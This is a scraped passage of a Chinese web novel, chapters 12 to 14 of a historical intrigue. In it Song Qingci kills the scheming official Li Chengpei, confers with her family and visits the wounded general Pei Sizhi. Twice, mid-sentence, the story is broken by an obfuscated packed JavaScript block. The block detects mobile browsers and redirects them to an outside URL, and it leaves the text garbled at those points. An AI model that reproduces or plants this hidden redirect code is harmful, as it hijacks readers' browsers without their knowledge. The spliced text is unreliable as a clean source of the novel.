宋清词半眯着眸,逆光望向李成沛身后那天边最后一抹余晖,“他与我说,他叫裴四,来自平原郡。” “裴四?”李成沛几乎笑出声来,讽刺道,“这裴家四公子不遮不掩,还真是狂妄。” “裴家四公子?” “是,他便是征东将军裴肆之。”李成沛道,“清词小姐应该对此人的名号不大熟吧?这位四公子随他父亲在边境打了许多年的仗,今年刚回中原,任青州军统帅。他父亲便是上将军裴恪,手中兵马仅次于京城的袁大将军。他还有个在地方颇有名望的大哥裴羡之,算算日子,大公子应该已经上任兖州牧了。” 少女微拧的眉头渐渐舒展开,仿佛是心中的猜测终于得到印证,她由衷地叹了声:“原来,如此。” 李成沛得意道:“现下整个青兖二州都已是裴家囊中之物,既有边境兵权又有地方实权,那是何等权贵?而言释行恰好在裴家四公子途径辽东被伏击时,下派到辽东郡巡防。清词小姐,还看不明白言释行真正想针对的是谁吗?” 此刻的宋清词整个人都是放松的,应答对方的时候甚至有了自然的笑意:“李大人是说,言主簿是专程来把裴肆之的事嫁祸给我家阿翁的,李大人想助我宋家躲过此劫,以此来换一条出路。” “正是!”李成沛犹如濒死之人抓到浮木,兴奋道:“言释行到襄平后与我留有密信,暗杀裴肆之的任务和昨夜的那些死士,我都是通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480522|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过他的渠道得来的,如果你肯送我离开幽州,我便把信交给你!如今裴肆之没死,你又握着言释行这个把柄,他不敢与裴家正面产生冲突,定然老老实实地离开辽东,你宋家就安全了啊!” 宋清词眨了眨眼,还真点点头,“你想把伏击裴家四公子的事都推到言释行身上。” “不是我,是我们。”李成沛强调道:“我这是为了你们好。我在辽东这么多年,虽没涉及过军务,但也能看出宋家的势力还不够和州牧掰手腕。即便你我都知道要杀裴肆之的人是谁,但也只能推到言释行身上,您说呢?” 宋清词挑起眉峰沉默了一阵,终是在李成沛的炯炯目光下说道:“李大人言之有理啊。” 天已擦黑,李成沛此刻恨不得在这夜中留下两行泪水,“小姐的意思是,同意在下的条件了?您放心,只要您派人把我送出幽州,我从海上直通青州,从今往后更名改姓不问前尘,定然不会给您和宋家惹出半点麻烦!” 宋清词似是突然想到,问:“我听说你是有家室的,可你昨日逃跑以后,妻女便不知所踪了,你是否要把她们寻回来一起走?” 李成沛飞快地回绝:“大丈夫行走世间不拘小节,哪里还管得了她们!我昨日根本就没回过家,若她们失踪,定是早早就被言释行抓去了!我是没办法了,您只管送我一人出城就是。” 事情定了,宋清词便率先往回走,李成沛也随着她往桥下走,还没走几步路,宋清词倏尔道:“你说,那名为王寿的狱卒,若和你一般放得下,是不是也不至于丢了命?” “谁?” 宋清词驻足,声音大了些,“昨日被你利用,给裴肆之下毒的狱卒老王啊,你不是绑了他的家人吗?” “哦哟!还有这事,你看我差点忘了。”李成沛一拍脑袋,“我也是身不由己不是?下毒这种脏事,总不好亲自办的嘛,清词小姐人在高位,应该是懂的!老王的家人……应该就被我藏在东临小路上的……” “已经找到人了。”宋清词声音闷闷的,“王寿一家五口人,他的四个亲人都被你藏在了冰窖里关了一整夜,郡府派人去救的时候他妻子孩子已经冻死了,只剩了两个性命垂危的老人。因为你,造成这样的惨剧,本应数罪并罚,但你介于你与我所谈机密之紧要,我定然不会再将你交予衙门了。” 李成沛显然被吓了一跳,听到最后一句又长舒一口气,朝着眼前的少女劝慰道:“还是清词小姐大人大量,哎,我就知道您不是不知变通的人,这点小事和你宋家的事情比,算得了什么?咱们当务之急啊,还是先把这个言主簿赶出去……” “你慌什么?把心放肚子里。”宋清词打断了他,“阿翁今日已经将你的事全权交与我,我有权独立处置此案。” 李成沛虽被打断,但听了这话,满脸笑嘻嘻地应和。 “你回去吧,我今日心情不好,你别和我走一路。”宋清词忽然道。 “啊……我?好嘞,好嘞!” “就从那座桥回吧,我也回了。”宋清词道。 李成沛此刻是无有不应,恨不得一步三叩首地往回退,眼看着宋清词背过身去安安分分地回到宋嶙身边,他这腰板才直起来,上了桥,突然想到还有重要的没问,回首道:“清词小姐,您打算哪日送我走啊,我都饿一天了,能不能尽早……” 远远的,他突然感觉前方寒光一闪,少女骤然抽出宋嶙腰间的长刀,头也没回的向他掷来,长刀在空中打着极其漂亮的旋,伴着松叶间的雪,准确无误地奔向他的脖颈—— “扑通——” 重物落进桥下小溪的声音。 “我现在就送你走。”宋清词道。 13. 第 13 章 “姑娘!”宋嶙显然是被她惊着了。 他瞧着桥上那副缺损的身体倒下去,又见自己旁边连身体都没晃一下的小词姑娘,强忍惊愕道:“李成沛不是还有用吗,姑娘怎么把他……” “他以为的有用,是能帮咱们把言释行赶出辽东。”宋清词瞧着他,“可谁说要把言释行赶走了?” 宋嶙一阵哑然。 宋清词拢了拢袖子,已然大步往外走,“裴家蠢蠢欲动,裴肆之北上幽州却被州牧所截,可见这场腥风血雨是彻底蔓延到我们这来了。这种时候,把言释行赶走还有什么意义,走了一个言主簿还会来下一个王主簿,我们真正的对手又不是他。” “徐子猷和裴家都坐不住了,可咱们还没准备好开战,不是吗?”少女抬眸,将面前的雪景尽收眼底,“把言释行留在辽东继续和咱们迂回着,还能再拖些时日,若是把言释行赶走惊动了徐子猷,谁知道他会如何?李成沛的目光只盯着自己这一亩三分地,便以为我们想把一切侵入辽东的人都赶走。” 李成沛自是想不到,在他交代裴肆之身份的那一刻,他就没半点用了。 宋嶙跟上她:“姑娘,你擅自处置了李成沛,万一令主君不满……” “一时有一时的章法。处置他,除了因为他本就该死以外,还有另一桩事。”宋清词安抚了句,“放心,我会回去亲自禀明阿翁的。” - 阿翁的这一盏茶等了她许久了。 宋清词回府后先去净了手,歇了片刻才转而去阿翁的院子里,没想到一进门先瞧见了面色沉沉的阿父。 宋清词愣了愣,又瞧见在卧房门口翘着腿坐着的阿翁,她问道:“阿翁,阿父,你们都用过饭啦?” “不知道你什么时候回来,大家就先吃过了。”阿翁摆了摆手,“屋里给你留了饭,刚热好的,进来吃吧。” 宋清词应声而去,进门前忽而回首,朝着站在门口原地没动的宋禾弦,“阿父,你不进来吗?” 宋禾弦瞅她这自然的神色,分辨不出自己女儿此刻究竟在想什么。良久后,认命般地叹了一声,“走吧。” 宋清词大口吸溜着羊肉羹,一手捧着碗一手拿着胡饼,仿佛两天没吃饭,坐在她对面的宋秋廷就由着她吃,没有半点要打断的意思,倒是一旁等待的宋禾弦有些坐不住,率先问道:“受伤了没有?” 宋清词吸了吸鼻子,放下碗,抬胳膊给他看:“阿父明知故问。” 方才她回院喘口气的功夫,就已经有人把松树林的情况禀报给他们了,她给足了他们消化的时间。 世道不济,很多事不是她想避免就能避免得了的,如果现在他们还要向昨日那般兴师问罪,那就不是她认识的阿父和阿翁了。 “如果吃好了,那就说说吧。”阿父又道,“阿父很想听听你的看法。” 房间的油灯不够多,有些昏暗,小词的目光在二人脸上徘徊一阵,才道:“李成沛非死不可。” “裴肆之北上却被徐子猷派人刺杀,徐子猷是什么秉性咱们都知道,那是再谨慎不过的人,他若动手,定然是因为对方切实的威胁到了他的利益,可裴家势大,究竟是做了什么才让他敢对裴四公子动手。别忘了,徐子猷可是铁杆的袁党。” 阿父闻言道:“你怀疑,裴家是要反袁,提前被徐子猷发现了?” 宋清词继续道:“若裴家仅仅要反袁也就罢了,天底下不差一个想对袁靖卿取而代之的诸侯,尽管反他去,可裴肆之偏偏要北上,跑到徐子猷的地界。这不是结盟,是什么。” 她说:“我昨日对裴肆之的身份略有猜测时,便派人打听过:徐子猷与裴恪、袁靖卿曾共为同窗,甚至早些年裴恪与徐子猷更为亲密。再观这些年幽州与京城的关系渐渐疏远,若说裴家联合幽州州牧共同反袁,还真不是没有理由。” 阿父的神色微妙,问道:“你担心李成沛也想到此处,怕他把事情说出去。” “是。”小词的长睫影子在脸上微微抖动,与平日截然不同的复杂神色从眼底流出,看着有些执拗。 “裴家欲与幽州联手抗袁,幽州却要趁机杀了裴家最懂用兵的四公子,裴家若得此消息怎会罢休?即便裴肆之被我所救,但我们如何能保证裴家报复幽州时能将辽东摘出来?又如何保证在裴家报复前,徐子猷不会先对辽东发难?到时撕破了脸,辽东必将陷入不得不开战的境地。” 她坚定道:“退一步讲,就算裴家不计较与徐子猷的恩怨,但裴家反袁的计划被提早公之于众,裴家当如何?东朝十三州局势当如何?顷刻间便是一场大战。” “这件事,小词的考量在理。”一直未开口的阿翁终于定了调子,“把李成沛的事情做干净了,畏罪赴死也好溺亡也罢,再将派去平原郡调查裴肆之身世的人召回来。裴家结盟欲要起兵的事不仅要压下来,最好再把裴肆之多留在辽东一阵子。” 时间越久,他们能准备的就越多。 阿父却警惕道:“裴肆之早晚会查到是谁要杀他。” 也早晚会和幽州及辽东反目。 阿翁笑了笑,眯着眼睛,借着手边微弱的光翻看案上的书简,“只要不公开,不把裴家造反的消息撂在明面上,形势就还有回旋的余地,裴家也没狂妄到幽州不与他联合,他次日便能率兵攻打幽州的地步。当务之急,是要试探出裴肆之对辽东的态度,别叫他们真把帽子扣咱们头上了。只要稳住裴肆之,事情就不会更糟。” 老人抬眼瞧了瞧面前沉默的两人,往外摆了摆手,“今夜先这样吧,下去歇着。” “是。”宋禾弦躬了躬身,带着女儿往门外退。 即将迈出那道门槛时,宋清词忽而转过身问道:“裴肆之敢亲自北上与徐子猷谈联合,是完全不担心徐子猷把他的谋划上报给袁靖卿吗?” “你也发现了。”阿翁没有抬头,像是早就料到那般:“或许,袁党外强中干的程度,远超乎我们所预料。只有这种解释了——袁党已无力掌控地方,各州府拥兵自重,哪怕是现在降旨罢免各州官员,官员们也未必会接旨。” “走吧,近日郡中的公务繁多,不要再打扰你阿翁休息。”宋禾弦在后面低声嘱咐道。 宋清词收敛目光,随着宋禾弦退了出去。 父女俩并肩往外走,阿父瞧着小词还在凝眉沉思的模样,笑问道:“怎么,还纠结什么呢?” 宋清词喃喃道:“我在想阿翁最后那句话。各州府拥兵自重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480523|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再假以时日,朝廷会失去权威,民间会失去秩序,咱们辽东的太平日子还能撑多久。” “你呀,人不大,想的事却多。”阿父拍拍她的肩,“王朝的兴衰是既定的命数,非一家一姓所能为也,形势比人强,这句话是你最该用心体会的。过一日太平日子,便逍遥一日,快活一日,甚或是苟活一日,只要你还活着,还能看见天上的太阳,便该珍惜你当下感受到的一切。过早的忧虑不过是徒增烦恼,会生心魔的。” “我以为阿父……算了,我说不过阿父。”小词呼出一口寒气,“阿父总有阿父的道理。” 宋禾弦笑道:“要不然怎么是你阿父呢?” 小词声音不大,像是在偷偷较劲,“总有一日,我会做那个主导形势的人。” 宋禾弦偏头瞧着自家闺女,越看眼睛笑得越弯,“若有一日,你有机会造势,阿父会在家里好生拦住你母亲的。” 小词愕然转头,想了想,忍不住打了个寒颤。 宋禾弦突然想起来:“听你阿翁说,昨夜是你安排裴肆之去城南别院住下的?” “阿翁又胡诌了,明明是他定下的。”小词据理力争,“不过算起来,裴肆之昨夜还帮我挡了一刀,我原本也是想把他送到别院好生照料的。” “是吗,还有这桩事?”宋禾弦思量一番,“你阿翁不是说要先探探裴肆之对辽东的态度吗?我的事情也不多,这件事还是可以替你阿翁代劳的,明个我找个时间去别院探病吧。” “诶?”小词眉头一蹙,冷静分析一番:“不好吧?他伤得很重,医官说了要好生静养。若要见客,起码也得等人家能起身行走才是吧,阿父代表的是宋家,礼节还是很重要的嘛。” “是这回事?” “对啊,我可以吩咐那边的弟兄用心照料,等他好些了再请阿父过去。”小词点着头,满脸认真。 “也……也行。”眼看着到了阿父阿母的院子,宋禾弦拄着手杖便要往里进,院门口的小厮刚要打开门,宋禾弦一个转身折了回来,“不对不对,你这鬼丫头,是不是要自己去看望人家?” 小词:“我没有。” 阿父:“你绝对有!你这丫头不会放过一点关于辽东的消息。裴肆之对辽东的态度,你会不好奇?你能忍得住?” 小词梗着脖子,“我……我……我是年轻人,我不代表宋家,我不用管那么多礼节……” 阿父:“你又不代表宋家了?你阿翁不是说你刚代表宋家去见李成沛吗?” 中年男人说着说着,忽而背起手来,夹着嗓子:“我是宋家长女宋清词~我站在这,就是能代表宋家做主~” 小词:“……” 阿父:“不准去!不允许!不批准!” 小词:“哦。” 次日晌午,阳光正好,房顶上的雪滴滴答答地融化,少女捧着一摞厚衣服和她自己爱吃的点心出现在城南别院。 她站在阳光底下笑眼弯弯,一双琥珀瞳显得格外的明媚温柔,亲和得仿佛不是那个要把裴肆之关囚车游街的宋清词。 “你还好吗?在这院子住得可有什么不便?辽东不比你们青州温暖宜人,我给你买了几件保暖的衣物,你应该能穿。” 14. 第 14 章 眼前的少女身披鹅黄色的大氅,头上带着一圈毛绒绒的白色宽抹额,手里还捏着掰了一半的糕点,就这样灵巧自如地出现在裴肆之面前。裴肆之彼时正在院里试用宋屹借他的木轮椅,见了来人不免一笑:“宋小姐,今日心情不错?” 小词就知道他是这副语气,她绕过宋屹,直接把手上的包袱塞到裴肆之怀里,“当然,心情不好怎么能来看望病人呢?” 腿上这一摞东西沉甸甸的,看样子还真是用心准备过,裴肆之挑眉笑道:“这么有诚意啊,只是来探病的?” “嗯,不然呢?”小词弯了弯唇角。 少女的尾音携着他未曾感受过的轻松,似乎令这个冬日都不再沉闷,裴肆之一时间没话可接。庭院里,两人一站一坐,两对含笑的眼睛在众目睽睽下相互对视着,毫不掩饰地在彼此眼中探寻,试图从最深处寻出自己想要的答案。 西边的风吹起少男少女的发丝,也吹过来一种厚重而香甜的糊味儿,裴肆之刚想发问,便听身后宋屹叫了一声:“哎呀!我烤了红薯,差点就忘记了。” 小词嗔道:“难怪我一进院子就饿了,快去救救红薯吧我还想吃呢。” 宋屹闻言一溜烟就跑开了,裴肆之盯着宋清词追随过去的目光,笃定道:“噢,我知道了,小姐不仅是来探病的,还是来蹭饭的。” “裴公子。”小词的目光终于又落回到他身上,“你有没有搞错,这里是我家。” 裴肆之就跟没听见似的,“你手里捏了半天的东西是什么?” “糕点啊。”小词答。 “好吃吗?”裴肆之接着问。 “不好吃。”小词自己都没舍得吃完。 “不信,给我尝尝。”裴肆之伸出手掌,“这里是你家,我是客人,给我尝尝你这里的糕点。” “你你,你那个包袱里还有很多整块的呢。”小词感觉自己面前坐着的不是大名鼎鼎的征东将军,是强盗,“干嘛抢我手里的,没有客人是你这样的。” “我不喜欢吃甜食,一整个糕饼我吃不完,太浪费,我就要你手里那个尝尝就好了。”裴肆之转动轮椅,而后掌心再次摊开。 小词心里骂了八百遍不要脸的强盗,才磨磨蹭蹭地把手里白乎乎的糕饼递给他。 裴肆之嘴巴嚼个不停,手上解开方才小词塞给他的包袱,朝里翻了翻,最终少年的脸上浮现一抹得意的笑:“哈,我就知道里面没有你刚才拿的那种糕饼!” 宋清词咬牙切齿:我还有任务没办,我忍。 她问道:“才一两日的功夫,我看你的精神倒是好多了,这次的医官还不错?” 裴肆之终于肯赏脸说点正经话:“确实,那医官还算尽心,身体好得比我预想的快,替我谢谢你阿翁。” 他瞧着少女被风刮乱的发顶,又道:“起风了,医官说我不宜吹风太久,烦劳小姐推我回房,多谢。” 他以为对方能晓得他说的“回房”只是别继续在庭院里吹风,回哪个房都可以,能会客的正厅最好。没想到小词心眼实,真就把他推到卧房里去了。 裴肆之张了张嘴,没想好说辞,只好由着她进了屋。在小词将包袱放在一旁的间隙,裴肆之顺手把房门推开一道缝,用木栓卡在底角以防房门完全合上。感觉到身后小词快要回头找他说话了,他又连忙正身坐好。 “你……”小词一回头便见着他额上有汗,“你觉得屋里热?炭火烧太足了吗?” 裴肆之心想你这时候倒是眼尖,这是他方才弯腰拿木栓时候压到腰上的伤口了,“是有点,但先这样吧,适应一下就好了。” “热也能适应?那不是越来越热吗……”小词嘟嘟囔囔。 裴肆之看她的小动作就想笑,他总觉得她的某一面是迷糊又奇怪的,就像他们初见那次局势那么紧张,她却叫他帮她抱一下小狗;还有方才她明明满心不情愿,还是老老实实把糕点交出来……若不是他现在腰腹的伤口太深不方便笑,他一定要当她的面好好笑话她一下。 想到这,裴肆之心里便暗自下定决心,等下次见面的时候要这样做一下试试,看看她会是什么反应。 这次不方便,那他便强行转一个正经的话题:“你找人给我治病,又给我带吃的穿的,是不是想继续问问我案子的事啊?” 少女的神情果然如他预想那般,又回到“看起来很聪明”的样子,她直了直身体,“我问了你就答吗?” “啧,那要看心情。” “别,可用不着。”宋清词抬抬下巴,“州府下派的主簿正在巡查辽东,各郡县的流寇也愈加猖獗,我阿翁一时间抽不出大量人力查你这桩悬案,便按普通案件来处理。这个案子里你是苦主,只要你不做危害辽东的事,官府的人就不会再找你。” 裴肆之应道:“看来我在你家留不了多久了?放心,我过几日伤好了便走,尽量不多麻烦你。” 宋清词却继续道:“好啊。至于刺杀你的那两人,如果能得到你的谅解,不多时也是能被放出来的。” “刺杀我的两人?”裴肆之来了点兴趣,“你前夜可是看见了,那么多刺客起码也要二十人,就不算了?” “刺客?什么刺客?”宋清词的眸子亮亮的,“那夜刺杀我们俩的,是潜藏在襄平城的流寇啊,当然要按律当众处决了。” 裴肆之的表情耐人寻味起来。 “州府下派的主簿是京城言家的言大公子,言释行。那夜我阿翁带兵围捕刺客后,言主簿亲自指示我阿翁要早些结案,我阿翁自然要配合他的名声,不然说不过去的。” 话末,宋清词明知故问道:“裴公子,我这院子常年不住人,冷清得很,若你在辽东无处可去,大可多待一阵。你不是来辽东送丝绸货物的吗,那可是笔巨款,北上不易,最好还是把账目点清了再离开,免得留祸患,你说是不是?” 言下之意,要把刺杀案压下去的是言释 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“我喜欢别人叫我小词。”少女说这句话的时候眼睛很是纯澈,“我大多数时候行走在外,有时在乡间,有时在军营里,没有人唤我小姐,大家都叫我小词姑娘。” 裴肆之笑了笑,正想说些什么,便听院里一声粗犷的声音: “香喷喷甜滋滋的烤红薯来喽——” 是宋屹端着碟子迈着小步跑了过来,他想用身体推门,又瞧见门缝卡着的木栓,奇怪道:“姑娘,你和裴兄弟唠嗑,为啥还留个门缝?这大风天的多冷啊!” “是啊,怎么还留个缝?哦对,阿肆刚才说他热来着。”小词恍然大悟道,心想原来裴肆之也没硬挺着忍热。 裴肆之:“……”主仆同心啊。 宋屹在小词的帮忙下推门进来,把两个烤红薯放在食案上,搓了搓手:“新烤出来的,没糊!姑娘和裴兄弟快尝尝!” 宋清词早就把红薯捧在手心里了,热腾腾的独属于烤物的香气萦绕在鼻尖,她扒开外皮,轻轻咬下一口金灿灿的焦糯果肉,忍不住叹道:“甜极了!” 裴肆之的唇角又不自觉地咧开,也随着去剥皮。宋屹却在旁边嘿嘿一笑:“太好了,那我赶紧去留几个,一会儿夫人还要来呢。” “谁?”宋清词一惊。 “夫人啊!”宋屹坦然道:“半个时辰前就说要来,我得去准备卤菜了,姑娘你们继续聊着,我走了……” “我阿母要来你怎么不早点说!”宋清词已经急得站起来了,“快快快,我现在就走!” “怎、怎么了?”裴肆之纳闷。 “我阿母不知道你在这!”小词已经在很尽力的保持平静了,“但没关系,虽然这是我的私宅,但你留在这是我阿翁做得主,你尽管当你的客人就是了!只不过我就不好在这待了,我阿父昨天还不让我来,我阿母就更……” 走到门口的宋屹倒是去而复返,往房里吆喝了一声,“姑娘,夫人已经到院门口了!”